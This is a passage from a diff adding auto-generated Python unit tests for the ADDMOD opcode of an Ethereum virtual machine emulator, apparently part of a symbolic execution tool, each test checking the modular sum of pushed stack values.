+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_482(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_483(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_484(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_485(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_486(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_487(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [30L])
+
+    def test_ADDMOD_488(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_489(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_490(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_491(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [14L])
+
+    def test_ADDMOD_492(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_493(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_494(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_495(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_496(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADDMOD_497(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_498(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_499(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_500(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_501(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_502(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_503(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_ADDMOD_504(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_505(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_506(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_507(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2])
+
+    def test_ADDMOD_508(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_509(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_510(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_ADDMOD_511(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ADDMOD_512(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_ADDMOD_513(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_514(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
